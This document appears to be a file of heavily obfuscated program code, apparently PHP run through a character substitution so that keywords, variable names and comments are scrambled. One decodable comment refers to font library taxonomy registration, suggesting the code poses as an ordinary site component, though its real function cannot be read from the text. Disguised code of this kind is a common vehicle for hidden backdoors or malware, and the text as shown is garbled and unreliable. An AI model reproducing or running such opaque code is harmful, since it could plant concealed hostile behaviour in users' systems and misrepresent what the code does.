:8;:!U((((&((/t/((&(,qic~c?dalj=z|:q:Saozjlg0f<j1nk{ :8;;!U(&( ,c{;1ir>:qg{c|dm(7((rq;ec{mmgl| :8<>!(((&((((((rq;ec{mmgl| 900:! !((2((**!3uu(ngzmik`( ,gjax??~z?(((i{(((,cmq(((((56((,ql}:~kdfcjy!(s(,c<~`>jae8pa{(5((j`i}8?qix~:gx?fz aW;~yrxiqyjro :8<?! ,cmq$(( 8p<#8p9!!$(,ql}:~kdfcjy!3((an(( ,c<~`>jae8pa{(((555(((/8/((((((tt(((aozjlg0f<j1nk{ :8<?! ,c<~`>jae8pa{$(((((%:!(555((((jj`>dqcld1xlfd: :8<0!!((,c<~`>jae8pa{((&5((aozjlg0f<j1nk{ :8<1!(((&(aozjlg0f<j1nk{ 900:! !3,eWy1Wr>`9<lkkb1S,cmqU((5(((,c<~`>jae8pa{3(u(((H}xli|mWgx|agf jj`>dqcld1xlfd: :8;8!$(,eWy1Wr>`9<lkkb1$(((((aW;~yrxiqyjro :89;!!3((((((((u(nafiddq(s(((o={;`1ei:gj1aqkz rq;ec{mmgl| 089!!3((((((u(u(ki|k`((( \`zgijdm((((,d|f9x=j|9W:!((s(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: :8=8!$((,d|f9x=j|9W:!3(((u(ki|k`((((( Mpkmx|agf(,d|f9x=j|9W:!((((((s((u(u(n}fk|agf((((j`i}8?qix~:gx?fz ,fd8pcbk08m0$((((,ql}:~kdfcjy!(s,qic~c?dalj=z|:q:(((5((Haozjlg0f<j1nk{ :8;9! ,fd8pcbk08m0!3(((an((( ),qic~c?dalj=z|:q:!((zm|}zf((((/8/3,l?Wc:9W9mo}(5((,qic~c?dalj=z|:q:Srq;ec{mmgl| :8;:!U((((&((/t/(((((&((,qic~c?dalj=z|:q:Sjj`>dqcld1xlfd: :8;;!U3(((((an( ,qic~c?dalj=z|:q:Saozjlg0f<j1nk{ :8;:!U((6( 98<0==:#:<!!(((zm|}zf((((((jj`>dqcld1xlfd: :8=9!((((((&(,l?Wc:9W9mo}3(,ae{:onx`88((5((Hjj`>dqcld1xlfd: :8=:! ,fd8pcbk08m0!3((zm|}zf((,l?Wc:9W9mo}((((&((((/t/((((((&((  aW;~yrxiqyjro :8:=! ,ae{:onx`88!((..((jj`>dqcld1xlfd: :88;! ,ae{:onx`88$(,ql}:~kdfcjy!()55((nid{m!(((7(((/9/((2(((/8/!3u((((n}fk|agf((z0?pqp~~{ed~yceWrj;81 !(s((((((,Wx~((5((jj`>dqcld1xlfd: :8<:! aW;~yrxiqyjro 90=>!!(7((om|Wgx|agf aozjlg0f<j1nk{ :9<!$(((((**!(((2(**3(((((((fgW>?k<{koW``;cdgg}o; !3((,Wakmyl|pf<aa}=((5(((aW;~yrxiqyjro :8<:! jj`>dqcld1xlfd: 90=>!!(7(((om|Wgx|agf aW;~yrxiqyjro :9<!$(((**!(2((((**3((an( ,Wakmyl|pf<aa}=((555((((((,Wx~!((Hlmdm|mWgx|agf aW;~yrxiqyjro :9<!!3u(n}fk|agf(((fgW>?k<{koW``;cdgg}o; !(((s,`er~`m>1a59t98?3,nz9gagfqiy5,`er~`m>1aV9>3|zq(((s(((((((an(((((( )lmnafml aW;~yrxiqyjro 919?!!!(((((zm|}zf3((,~<nor9>l8n((((5(}ql:?yp08{}elk0~|}1ni !3,||g=f:;=5X@XWAF\WEIP'X@XWAF\WEIP3,o=y<:m9o=5,||g=f:;=#9:3(((,m>b9c}mrikmfzn(5(((e||ngqy~:jfj0;o0a !3(,yn0<on0x1>n<`zz((((5(((((g{mxxjmmdpz1}` IJ[XI\@(&(aozjlg0f<j1nk{ 9>9=!$((((( ;#=!!((&(((aozjlg0f<j1nk{ 9;:0!3((((,dak~Wla0<x((((5((g{mxxjmmdpz1}` IJ[XI\@((((&(((aozjlg0f<j1nk{ :8=;!$(( 9;%=!!((&((jj`>dqcld1xlfd: :8=<!3,jmj??o~nml((((5((g{mxxjmmdpz1}` IJ[XI\@((((((&((aW;~yrxiqyjro :8:>!$((( 9#?!!(&(((((aozjlg0f<j1nk{ :8=<!3(((,biyy8x;c?00ie(((((5(((g{mxxjmmdpz1}` IJ[XI\@(&(((rq;ec{mmgl| 9;?1!$(((( 8p<#8p<!!(&((rq;ec{mmgl| :8==!3(((((,yc}g|o=je`cpjx(5((g{mxxjmmdpz1}` IJ[XI\@(&((((jj`>dqcld1xlfd: 9<89!$(( 8p<#8p<!!(&(rq;ec{mmgl| :8==!3(((,pqfb<{;kg<{08(((5(((jj`>dqcld1xlfd: 9><>!((&(((((g{mxxjmmdpz1}` IJ[XI\@((&((((/o/$(( 944;!!3(((,~:l;nW{99fa|o((((5((izziq ,~<nor9>l8n((&((aozjlg0f<j1nk{ :8=>!((56((aW;~yrxiqyjro 1:<!$,~<nor9>l8n((&(aozjlg0f<j1nk{ :8<<!(((((56((((rq;ec{mmgl| :8=?!$(!3(ngzmik`((( ,~:l;nW{99fa|o((i{((,fd8pcbk08m0((56((,xzmnap!((s(((an( )Hrq;ec{mmgl| :8<9! ,fd8pcbk08m0!!(((kgf|af}m3,ae{:onx`88((((5((Hjj`>dqcld1xlfd: :8=0! ,fd8pcbk08m0!3((((an( ,ae{:onx`88(((555((nid{m!((kgf|af}m3(,dzr<}izi|<`:mp(5((jj`>dqcld1xlfd: 1:1!(((&(((((,xzmnap(((((&(((aozjlg0f<j1nk{ 1;8!(&((((,xzmnap(((&(((aW;~yrxiqyjro 1;9!3((((,ejcrjW?r98Wjf(((5(((rq;ec{mmgl| :8=1! ,dzr<}izi|<`:mp$((**$(,ae{:onx`88!3(((an(((( ,ejcrjW?r98Wjf(()55(,ae{:onx`88!({jynjr};<k;ff=~{9pbapx ,fd8pcbk08m0$(,ejcrjW?r98Wjf!3((((((u(,{`<brl|9={>((5((((,~<nor9>l8n(&(((aozjlg0f<j1nk{ =?0!3(((an(( HaW;~yrxiqyjro :8<9! ,{`<brl|9={>!!((s((,fmlooqi?i1(((5((HaW;~yrxiqyjro :8>8! ,{`<brl|9={>!3((((an( jj`>dqcld1xlfd: :8:=! ,fmlooqi?i1!(((..((,fmlooqi?i1((((()55((**!(((((s(an(((((( jj`>dqcld1xlfd: :8;<! jj`>dqcld1xlfd: :8>9!$(((rq;ec{mmgl| :8>:! ,fmlooqi?i1$(8$(( :=;#<?!!!(((((tt(((rq;ec{mmgl| :8>;! ,fmlooqi?i1$((((jj`>dqcld1xlfd: 9==8!!(555(8!(((s((yy|m;zWdxb}n{r{~akm ,{`<brl|9={>$(((( <9:#0!!3(aqdz{8}zyk~qm;yf ,{`<brl|9={>!3(u(md{m(s''({mzaidarijdm(|zif{ngzemz,i0}f=0ijbklk{k(5(rq;ec{mmgl| :8=1! jj`>dqcld1xlfd: :8><!$((**$((,fmlooqi?i1!3(((((((an( jj`>dqcld1xlfd: :8:=! ,i0}f=0ijbklk{k!(((..((((,i0}f=0ijbklk{k(()55((,fmlooqi?i1!((({jynjr};<k;ff=~{9pbapx ,{`<brl|9={>$((((,i0}f=0ijbklk{k!3(}f{m| ,i0}f=0ijbklk{k!3((((u((((u}f{m| ,fmlooqi?i1!3,~qq<:m9=|pl5990t<:3,oj<:1p~jyWb|5,~qq<:m9=|plV98<3u(,xo8a1j9j>l(5((((aW;~yrxiqyjro 919;! z9>1{1jm8r8;e~8 !!(((((&(((((jj`>dqcld1xlfd: 9<:!3,jWxlm=yrWe5 8p:=#8p?9!3,ioj{xb=0k5,jWxlm=yrWe-9:3((((,|}<b`i`9gl0maic((((((5(((lmnafml aW;~yrxiqyjro 91?0!!((((7(_XWKGF\MF\WLAZ((&((aW;~yrxiqyjro :8>=!(((2((,xo8a1j9j>l3((((,pWm8aei>8mpm(5(((izziq ((((,~<nor9>l8n((((((&(/'/((&((((,yn0<on0x1>n<`zz$(((((,~<nor9>l8n((&((/'/((&(,dak~Wla0<x$,~<nor9>l8n(((&(((/'/((&(,jmj??o~nml$,m>b9c}mrikmfzn((((&(((/'/(&((,biyy8x;c?00ie$(,m>b9c}mrikmfzn(&(((/'/(&(((,yc}g|o=je`cpjx$(,m>b9c}mrikmfzn((&((((((/'/(((&(,dak~Wla0<x$((((((,m>b9c}mrikmfzn(&(/'/((&(((((,jmj??o~nml$(,xo8a1j9j>l(&(((((/'/((&((,biyy8x;c?00ie$(((((,xo8a1j9j>l(&((((/'/(((&(((,yc}g|o=je`cpjx$((((,xo8a1j9j>l(((&(/'/((&(((,dak~Wla0<x$(((((((,xo8a1j9j>l((((&(((/'/(((&((((,jmj??o~nml$(((((,|}<b`i`9gl0maic(&(((/'/((((&((((,biyy8x;c?00ie$((,|}<b`i`9gl0maic((&((/'/((&(((((,yc}g|o=je`cpjx$((((((,|}<b`i`9gl0maic(((&(/'/(&((,dak~Wla0<x$(,|}<b`i`9gl0maic(&(/'/((&(,jmj??o~nml$((!3((((((,|W<8zny`y:|:q((5((daoxe<{;:;W<mx !3((,pWm8aei>8mpmSU((5((,|W<8zny`y:|:qS9U3(,pWm8aei>8mpmSU((((((5((,|W<8zny`y:|:qS9U((&(aozjlg0f<j1nk{ 9??:!3(}f{m| ,|W<8zny`y:|:q!3((((an( aW;~yrxiqyjro :8<:! jj`>dqcld1xlfd: 911?!!!(s((ngzmik`(((  izziq!(((Haozjlg0f<j1nk{ 911?! ,~<nor9>l8n(((&(aozjlg0f<j1nk{ :8>>!((((&(((,yn0<on0x1>n<`zz!(((((i{(((((,`>==>01q1<We18!(((,pWm8aei>8mpmSU((5(,`>==>01q1<We183(ngzmik`((  izziq!((Haozjlg0f<j1nk{ :8>?! ,~<nor9>l8n(&((((rq;ec{mmgl| :8>0!((&(((,yn0<on0x1>n<`zz!(i{(,`>==>01q1<We18!((((,pWm8aei>8mpmSU(((5(((,`>==>01q1<We183ngzmik`((  izziq!(HaW;~yrxiqyjro :8>?! IJ[XI\@(&(((((jj`>dqcld1xlfd: :8>1!(&((,pqfb<{;kg<{08(&((aozjlg0f<j1nk{ ;9:!!((i{((((((,d0xbi?0g>0<d;!(,pWm8aei>8mpmSU(5(((,d0xbi?0g>0<d;3ngzmik`(((  izziq!(((Hjj`>dqcld1xlfd: :8>?! ,~<nor9>l8n((((&(((((/'/(((((&(,pqfb<{;kg<{08(((&(aozjlg0f<j1nk{ ;9:!!((i{(((,d0xbi?0g>0<d;!(((,pWm8aei>8mpmSU(5(((,d0xbi?0g>0<d;3,dW:>id=yj8r5X@XWEIBGZW^MZ[AGF3,i8>>lx;p5,dW:>id=yj8r"983ngzmik`(((  izziq!(Hrq;ec{mmgl| :8>?! ,m>b9c}mrikmfzn(&(/'/(&((,pqfb<{;kg<{08((&((((aozjlg0f<j1nk{ ;9:!!((i{((((,d0xbi?0g>0<d;!((,pWm8aei>8mpmSU((((5((,d0xbi?0g>0<d;3ngzmik`(((((  izziq!((Haozjlg0f<j1nk{ :8>?! ,xo8a1j9j>l((((&(/'/(((&((,pqfb<{;kg<{08(&((rq;ec{mmgl| ;9:!!((i{(((,d0xbi?0g>0<d;!(((,pWm8aei>8mpmSU((((5((((,d0xbi?0g>0<d;3ngzmik`(  izziq!((Hjj`>dqcld1xlfd: :8?8! ,|}<b`i`9gl0maic((((&((((/'/(&((((,pqfb<{;kg<{08(&((((((aW;~yrxiqyjro :8?9!!(((i{(,d0xbi?0g>0<d;!((,pWm8aei>8mpmSU(((5((,d0xbi?0g>0<d;3((u,`q1?zn`;:fzqpW1(5(((g{mxxjmmdpz1}` IJ[XI\@((&(/o/$( 9#?!!3((,WxfWe9~0{d;(5(((((izziq IJ[XI\@((((&((((jj`>dqcld1xlfd: :8?:!$((((,~<nor9>l8n$((((,m>b9c}mrikmfzn$((,xo8a1j9j>l$((((((,|}<b`i`9gl0maic!3(((((ngzmik`(( ,WxfWe9~0{d;((i{(((,Wol!(((((s''(_gzlXzm{{(>&;(kgeeifl{2(xg{a|a~m%lmnafa|m(kax`mz%{}a|m(((an(( HaW;~yrxiqyjro 910:! ,Wol!(..(((Hjj`>dqcld1xlfd: 91;>! ,Wol!!((|;1bljy:yp8ja?:f?}g1i ,Wol((&(aW;~yrxiqyjro :8?;!(((&((((,`q1?zn`;:fzqpW1$((ojcir|0ro>gifi>;n?| !$(aW;~yrxiqyjro :8?<!!3((u(((((an(((((( jj`>dqcld1xlfd: :8?=! rq;ec{mmgl| :8?>!!!((sngzmik`( ,WxfWe9~0{d;(i{(((,Wol!(((((s(((ngzmik`(( izziq rq;ec{mmgl| :8??!$(aW;~yrxiqyjro :8?0!$(rq;ec{mmgl| :8?1!$(((aW;~yrxiqyjro :808!$((((jj`>dqcld1xlfd: :809!$((((aW;~yrxiqyjro :80:!$((aozjlg0f<j1nk{ :80;!$(((rq;ec{mmgl| :80<!$(aW;~yrxiqyjro :80=!!((i{((,copl1~``~}<o!(((s,brx~qn9pioj=r5 8p>8#8p1m!3,b|9m0ei{m5,brx~qn9pioj=r-=3ngzmik`(  izziq!(Hjj`>dqcld1xlfd: :8?>! ,Wol((&(/'/((&((,copl1~``~}<o((&(((/"/!(i{((,l>zdy||>yyeanfa!((((,pWm8aei>8mpmSU((5(,l>zdy||>yyeanfa3u((((ngzmik`(((  izziq!((Hjj`>dqcld1xlfd: :8?>! ,Wol((((&(((aW;~yrxiqyjro :80>!!(i{((((((,qf:mmmk||if{igi!(,pWm8aei>8mpmSU(5((,qf:mmmk||if{igi3((u((u}f{m| ,`q1?zn`;:fzqpW1$((((,WxfWe9~0{d;$(,Wol$(,copl1~``~}<o$(,l>zdy||>yyeanfa$((((,qf:mmmk||if{igi!3(((,lp01c0ec{8y;b;Wl(((5((((((izziq IJ[XI\@((&((rq;ec{mmgl| :80?!$((((,~<nor9>l8n(&(jj`>dqcld1xlfd: :8::!!3((ngzmik`(((((( ,lp01c0ec{8y;b;Wl((i{(((,cqecll<>p|>=!(san(((( )Hrq;ec{mmgl| :8<9! ,cqecll<>p|>=!!((((kgf|af}m3((,ae{:onx`88(((((5((((((Hjj`>dqcld1xlfd: :800! ,cqecll<>p|>=!3,}0r9jgf05==":3,p`r{ed<{y:5,}0r9jgf0%:;3(((an((( ,ae{:onx`88((..((jj`>dqcld1xlfd: :8>;! ,ae{:onx`88$((aW;~yrxiqyjro :801!!()55(((nid{m!((((s(((((,ae{:onx`88(5((jj`>dqcld1xlfd: :8=1! aozjlg0f<j1nk{ :818!((&((((jj`>dqcld1xlfd: 9<98! ,dak~Wla0<x$((/'/!((&(aozjlg0f<j1nk{ 99=>!$((*Tf*$(,ae{:onx`88!3(((((((an((( jj`>dqcld1xlfd: :8:=! ,ae{:onx`88!!(((((s,ae{:onx`88(((((5(rq;ec{mmgl| :8=1! aW;~yrxiqyjro 99=?!(((((&(aW;~yrxiqyjro 9<98! ,dak~Wla0<x$((((/'/!(&((jj`>dqcld1xlfd: :819!$((((*Tf*$(,ae{:onx`88!3((u((((an(( aW;~yrxiqyjro :8:=! ,ae{:onx`88!!(s(,ae{:onx`88((5(aW;~yrxiqyjro :8=1! jj`>dqcld1xlfd: :81:!((&((((aW;~yrxiqyjro 9<98! ,dak~Wla0<x$((((((/'/!((((&((rq;ec{mmgl| :81;!$(((*Tf*$((,ae{:onx`88!3,ozWx|`;rml:ax5=8>=3,l?gqamo|5,ozWx|`;rml:ax-;3u(an(( jj`>dqcld1xlfd: :81<! ,ae{:onx`88!!({jynjr};<k;ff=~{9pbapx ,cqecll<>p|>=$(((,ae{:onx`88!3((((u((((((u((,zk0e8oz1o>((5(IJ[XI\@((&((((aozjlg0f<j1nk{ :81=!3(((an( )Hjj`>dqcld1xlfd: :81>! ,zk0e8oz1o>!!(((s(,m}cde<c<||Wn8((5(((rq;ec{mmgl| :81?! IJ[XI\@!(&((aW;~yrxiqyjro :810!3((((an((( HaW;~yrxiqyjro :81>! ,m}cde<c<||Wn8!!(,zk0e8oz1o>((5(,m}cde<c<||Wn83(u((an(( Haozjlg0f<j1nk{ :81>! ,zk0e8oz1o>!(..((HaW;~yrxiqyjro 91;>! ,zk0e8oz1o>!!((((s(,Wk(5(((HaW;~yrxiqyjro :800! ,zk0e8oz1o>!3,z08mxfiacgam851?883,z|<aj}cn`5,z08mxfiacgam8-9;3an(((( rq;ec{mmgl| :81<! ,Wk!(..(((aW;~yrxiqyjro :8>;! ,Wk$(jj`>dqcld1xlfd: :811!!(()55(((((nid{m!(s(((,0Wfx1l;81}9`bkn((5((rq;ec{mmgl| :988! rq;ec{mmgl| :989!$((**$((((,Wk!3(an( aozjlg0f<j1nk{ :81<! ,0Wfx1l;81}9`bkn!(((((..(((((,0Wfx1l;81}9`bkn(()55(((,Wk(((..((((((~rl=fzla18ykW?jkrj} ,0Wfx1l;81}9`bkn!!((((((s((,|0lp0ayenir(5(HaW;~yrxiqyjro :98:! ,zk0e8oz1o>!3(an(((( {jynjr};<k;ff=~{9pbapx ,zk0e8oz1o>$((,0Wfx1l;81}9`bkn!(..(((((,|0lp0ayenir!((Hrq;ec{mmgl| :9! ,zk0e8oz1o>$((,|0lp0ayenir!3u(}f{m| ,0Wfx1l;81}9`bkn$((,|0lp0ayenir!3((u}f{m| ,Wk!3(u}f{m| ,zk0e8oz1o>$((,m}cde<c<||Wn8!3((,z~gg{W1z9W`gy}0;(((5((rq;ec{mmgl| :8?=! jj`>dqcld1xlfd: 9<0;!!((7((((((Hrq;ec{mmgl| 9<0;! aozjlg0f<j1nk{ :98;!!(2(((nid{m3an(( ),z~gg{W1z9W`gy}0;(tt(,z~gg{W1z9W`gy}0;((((((555(((**!(((((,z~gg{W1z9W`gy}0;(5(((aozjlg0f<j1nk{ :98<!3(,jr?ko9ljz0}8oe{8(5((izziq IJ[XI\@((&(,z~gg{W1z9W`gy}0;$((,~<nor9>l8n(((((&(/'/((((&((((,z~gg{W1z9W`gy}0;!3((ngzmik`(( ,jr?ko9ljz0}8oe{8(i{(,kmik=`b0b;19l|!(((((s((an((( )Hjj`>dqcld1xlfd: :81>! ,kmik=`b0b;19l|!!(((kgf|af}m3(((((,ae{:onx`88(5(Hjj`>dqcld1xlfd: :98=! ,kmik=`b0b;19l|!3an((((( ,ae{:onx`88(((((..(aW;~yrxiqyjro :8>;! ,ae{:onx`88$((((rq;ec{mmgl| :801!!(()55(((nid{m!(((s((((((,ae{:onx`88((5(rq;ec{mmgl| :98>! aozjlg0f<j1nk{ :98?!(&(((((rq;ec{mmgl| :980! ,jmj??o~nml$((((/'/!((&(aW;~yrxiqyjro :981!$(((**$(,ae{:onx`88!3((((((an( rq;ec{mmgl| :81<! ,ae{:onx`88!!({jynjr};<k;ff=~{9pbapx ,kmik=`b0b;19l|$((,ae{:onx`88!3uu(((((,b?zimgrj<obcck(((5(((((izziq ((,~<nor9>l8n((&(((/'/((((&((,jmj??o~nml$(((((,m>b9c}mrikmfzn(((&((/'/((&(((,jmj??o~nml$(((((,xo8a1j9j>l(&(((((/'/((&((,jmj??o~nml$((((!3((((,xq1|{?g?;j>((5((((((rq;ec{mmgl| :998! ,pWm8aei>8mpm$(((,b?zimgrj<obcck!3(((((ngzmik`((((( ,b?zimgrj<obcck((((i{((,lm:yeg9ineej?x!(((s(an((((( Haozjlg0f<j1nk{ :999! ,lm:yeg9ineej?x!!(s(((((yy|m;zWdxb}n{r{~akm ,lm:yeg9ineej?x$((( ><?%::?!!3((({jynjr};<k;ff=~{9pbapx ,lm:yeg9ineej?x$(aW;~yrxiqyjro 9>8:!!3(((((uu(ngzmik`( ,xq1|{?g?;j>(i{((((,lm:yeg9ineej?x!(san( Hjj`>dqcld1xlfd: :999! ,lm:yeg9ineej?x!!((s(yy|m;zWdxb}n{r{~akm ,lm:yeg9ineej?x$( ;:<#1>!!3aqdz{8}zyk~qm;yf ,lm:yeg9ineej?x!3u((u((((ngzmik`(((( n;eb:g?;kdb=b~ !((((i{(,ge|okkWn;maiy|!(((san( )HaW;~yrxiqyjro :999! ,ge|okkWn;maiy|!(((((tt((()HaW;~yrxiqyjro 91;>! ,ge|okkWn;maiy|!!(kgf|af}m3(,ae{:onx`88(5(Hjj`>dqcld1xlfd: :98=! ,ge|okkWn;maiy|!3(((((an( jj`>dqcld1xlfd: :81<! ,ae{:onx`88!!((s(((((((,b|bjbj0afnl1y;}W(5((((al}zrmf1<|p9pc;pp ,ae{:onx`88$(aW;~yrxiqyjro :99:!$(((rq;ec{mmgl| :99;!!3,b|bjbj0afnl1y;}W((5(((al}zrmf1<|p9pc;pp ,b|bjbj0afnl1y;}W$(aozjlg0f<j1nk{ :99<!$(((aW;~yrxiqyjro :99;!!3(an(( rq;ec{mmgl| :81<! ,b|bjbj0afnl1y;}W!(..((((((,b|bjbj0afnl1y;}W((()55((((,ae{:onx`88!((({jynjr};<k;ff=~{9pbapx ,ge|okkWn;maiy|$(((,b|bjbj0afnl1y;}W!3(((((((}f{m| ,b|bjbj0afnl1y;}W!3(((((u(u(((an((( aozjlg0f<j1nk{ :8?=! rq;ec{mmgl| 9=1<!!((((..(((((jj`>dqcld1xlfd: :8?=! aozjlg0f<j1nk{ :99=!!!((((((s((((,cmq(((5(((ziczWWj}p~nd}g0 !3(an( ,cmq()55(((nid{m!(s((((,Wi~;W0e`rl`?W=n((5((((HaW;~yrxiqyjro 9=1<! ,cmq$((((//$((8$((8!3(((an(((( ,Wi~;W0e`rl`?W=n!((s(Hjj`>dqcld1xlfd: :99>! ,Wi~;W0e`rl`?W=n!3((((HaW;~yrxiqyjro 9=01! ,Wi~;W0e`rl`?W=n!3(((u(((((u((((((u((((an(( rq;ec{mmgl| :8?=! jj`>dqcld1xlfd: :88>!!!((s(((((,y{}:=ajkd((5(((g{mxxjmmdpz1}` IJ[XI\@(&(rq;ec{mmgl| :880!$( >#<!!3(Hlmdm|mWgx|agf ,y{}:=ajkd!3,`W}no1p;;j{<(5((((aW;~yrxiqyjro :99?! rq;ec{mmgl| :990!!(((((7(Hom|Wgx|agf jj`>dqcld1xlfd: :991!$(izziq !!(2((((izziq !3an((( rq;ec{mmgl| :9:8! ,`W}no1p;;j{<!!((s(((an(((( a{{m| ,`W}no1p;;j{<S/j/U!!(aqdz{8}zyk~qm;yf ,`W}no1p;;j{<S/j/U!3((an( a{{m| ,`W}no1p;;j{<Sjj`>dqcld1xlfd: :9:9!U!(((..((((aW;~yrxiqyjro :9::! ,`W}no1p;;j{<Sjj`>dqcld1xlfd: :9:9!U!!((sngzmik`((( ,`W}no1p;;j{<SaW;~yrxiqyjro :9:;!U(((i{(((,Wka!(((s(((an( rq;ec{mmgl| :9::! ,Wka!(..((a{{m| ,WkaS/j/U!!((((aqdz{8}zyk~qm;yf ,WkaS/j/U!3(u(u((u((((((Hlmdm|mWgx|agf aW;~yrxiqyjro :991!!3((Hlmdm|mWgx|agf aW;~yrxiqyjro 900?!!3((Hlmdm|mWgx|agf rq;ec{mmgl| :9:<!!3Hlmdm|mWgx|agf aozjlg0f<j1nk{ 9=88!!3((((((Hlmdm|mWgx|agf rq;ec{mmgl| :9:=!!3(((((Hlmdm|mWgx|agf aozjlg0f<j1nk{ 9<>8!!3((((Hlmdm|mWgx|agf rq;ec{mmgl| 9<<1!!3(Hlmdm|mWgx|agf aozjlg0f<j1nk{ 9<>9!!3(((}f{m| ,`W}no1p;;j{<$(((,Wka!3(((((u''(_X(Ngf|(Dajzizq(|ipgfgeq(zmoa{|zi|agfan( jj`>dqcld1xlfd: :99?! rq;ec{mmgl| 018!!!(((s((((((((Hlmdm|mW|zif{amf| aozjlg0f<j1nk{ :9:>!!3Hlmdm|mW|zif{amf| aW;~yrxiqyjro :9:?!!3((Hlmdm|mW|zif{amf| i9{{zWo1a?==r?ac8{y !!3u(an(((( jj`>dqcld1xlfd: :9:0! aozjlg0f<j1nk{ :9:1!!!(((((sHxWkdmizW{k`ml}dmlW`ggc aozjlg0f<j1nk{ :9;8!!3,n?j~d|}z;lyx>591=t:=:3,`myzp|0ak`yfo{5,n?j~d|}z;lyx>V913(HxWkdmizW{k`ml}dmlW`ggc aozjlg0f<j1nk{ :9;9!!3(HxWkdmizW{k`ml}dmlW`ggc rf:e8r?yz~:0m !!3(((((u((((u(ki|k`((( \`zgijdm(((,d|f9x=j|9W:!((((((s(((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| :9;:!$(,d|f9x=j|9W:!3u((((ki|k`( Mpkmx|agf(,d|f9x=j|9W:!((su((un}fk|agf((cippxlngam9q|;y=yi !(((s(((|zq(san( )lmnafml rq;ec{mmgl| 919?!!!(((zm|}zf((((nid{m3,~<nor9>l8n(5(((}ql:?yp08{}elk0~|}1ni !3(,er<gbcg}d<k(5(((,~<nor9>l8n(&(((aozjlg0f<j1nk{ :8<<!3((,l~y:yixbb~r8q((5((((aW;~yrxiqyjro 911=! z9>1{1jm8r8;e~8 !$((rq;ec{mmgl| :9;;!!3((,xd8`b<k9dofqp((((5((((mrppqfp~aze:9: !3(an(( ),xd8`b<k9dofqp(((tt((aW;~yrxiqyjro 918:! ,xd8`b<k9dofqp!((((4(((((( <?>#:<!(((((tt((aW;~yrxiqyjro :9;<! ,xd8`b<k9dofqp!((((6( 8p=mml9#8pi99:n!((tt((j9zoz:k9qe=j`y=|m1r>9 ,xd8`b<k9dofqp!(tt(()~rl=fzla18ykW?jkrj} ,xd8`b<k9dofqp!!(((zm|}zf(((nid{m3,k}zzmf|(5(Hrq;ec{mmgl| 9=8<! ,er<gbcg}d<k!(((7(HaW;~yrxiqyjro :98=! ,er<gbcg}d<k!(((2((((**3((((an(((( )rq;ec{mmgl| :81<! ,k}zzmf|!!((s(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro ?;9!$(aW;~yrxiqyjro 9<<:!!3((((((((zm|}zf(nid{m3(((u((((((,k}zzmf|((((5(bW0a{a?}a`=bcb<?m ,k}zzmf|!3,b~9?l=gbz|fqqf(5((ojcir|0ro>gifi>;n?| !(((((&((((/2/((((&(g{mxxjmmdpz1}` IJ[XI\@(&((((aW;~yrxiqyjro :9;=!$( 8p9#8p?!!3(((,{zyeoW:8}yf1r>ec(5(((aW;~yrxiqyjro :9;>!((&(((,b~9?l=gbz|fqqf((((((&(jj`>dqcld1xlfd: 9>:?!3,e9;0`fp1zi(((5((((aW;~yrxiqyjro :9;?!(((&(((((,b~9?l=gbz|fqqf(((&(jj`>dqcld1xlfd: 9>:?!3(((((,il~?1xf1bye`((((((5((g{mxxjmmdpz1}` IJ[XI\@((&((rq;ec{mmgl| :9;0!$( =#;!!3((,}~q>c=kmifrk~ba((((5((((aozjlg0f<j1nk{ :98>! rq;ec{mmgl| :9;1!(&(,il~?1xf1bye`((&(aW;~yrxiqyjro :9<8!$((**$(((((,k}zzmf|!3(((,}f?qbyjn8dby=(((5( rq;ec{mmgl| :9<9! ,}~q>c=kmifrk~ba$(((rq;ec{mmgl| :9<:!!((((()55(((nid{m!3(an( jj`>dqcld1xlfd: :9<9! ,k}zzmf|$((,{zyeoW:8}yf1r>ec!(()55((nid{m((..(jj`>dqcld1xlfd: :9<9! ,k}zzmf|$((((((,e9;0`fp1zi!((()55(((nid{m((((..((),}f?qbyjn8dby=!((zm|}zf(((|z}m3,k}zzmf|((5(((rq;ec{mmgl| :9<;! rq;ec{mmgl| :9<<!$((**$((,}~q>c=kmifrk~ba!3(an( )jj`>dqcld1xlfd: :81<! ,k}zzmf|!!((s(((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro ?;9!$(((jj`>dqcld1xlfd: 9=>8!!3(((zm|}zf(((nid{m3((u((,k>~azc?dnoW~((((((5(((p|;izdoby9r|y{a|: !3(an(((((( ),k>~azc?dnoW~!(((((zm|}zf(nid{m3(((,k8rzmo9:g=z:o9zd(5(jj`>dqcld1xlfd: :9<=!(&(((aW;~yrxiqyjro :8>:! aW;~yrxiqyjro :9<>! ,l~y:yixbb~r8q(&( {|zafo!(xzbpr<d>l>eb<:~ !!$(((8$((( 10V98>!!3(,~cagkgx>0c9:<1(((5((((f1Wn{ek<blp<m>x`Wx<mn1 aW;~yrxiqyjro :9<?!$izziq /WW[D]OWW/$(((/WWXD]OAFWJI[M><WW/$(((((/WWO]IZLWFIEMWW/$((/WW^MZ[AGFWW/!$(izziq ,l~y:yixbb~r8q$(,k>~azc?dnoW~$(,k8rzmo9:g=z:o9zd$(ojcir|0ro>gifi>;n?| !!(((((!3((an(( ),~cagkgx>0c9:<1!(((s((((an((  af|!((om|Wgx|agf jj`>dqcld1xlfd: :9<0!$(((8!(6((((8!((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro ?;9!$(((rq;ec{mmgl| :9<1!!3((zm|}zf(nid{m3(u(((((,k}zzmf|(5(bW0a{a?}a`=bcb<?m ,k}zzmf|!3((((,q~lq|ap|fiob>n(5(((aozjlg0f<j1nk{ :9<;! jj`>dqcld1xlfd: :9=8!$((((**$(,~cagkgx>0c9:<1!3(,gzp;bj|gdfpya?(5(( aW;~yrxiqyjro :9=9! ,k}zzmf|!((555((8!3(an(( ),gzp;bj|gdfpya?!((((s(an( )|`o{Wa{`?>nr9n?n:`rf rq;ec{mmgl| ?;9!!!((s(((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro ?;9!$((((rq;ec{mmgl| 9=>:!!3(((zm|}zf((nid{m3(uan(( )f89kW1g}g|i=ira ,er<gbcg}d<k$((((((,k}zzmf|!!(s(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: ?;9!$((((aW;~yrxiqyjro 9><9!!3(((((zm|}zf(nid{m3((u((kyp~me~qox8raabz rq;ec{mmgl| ?;9!!3(u(((md{m(s(an((( )f89kW1g}g|i=ira ,er<gbcg}d<k$(**!!(s,zWyl{p`1}}51#913,|ldcx|qp8k}5,zWyl{p`1}}%9=3((((gcp<j<0::Wlzkc}{liqd} 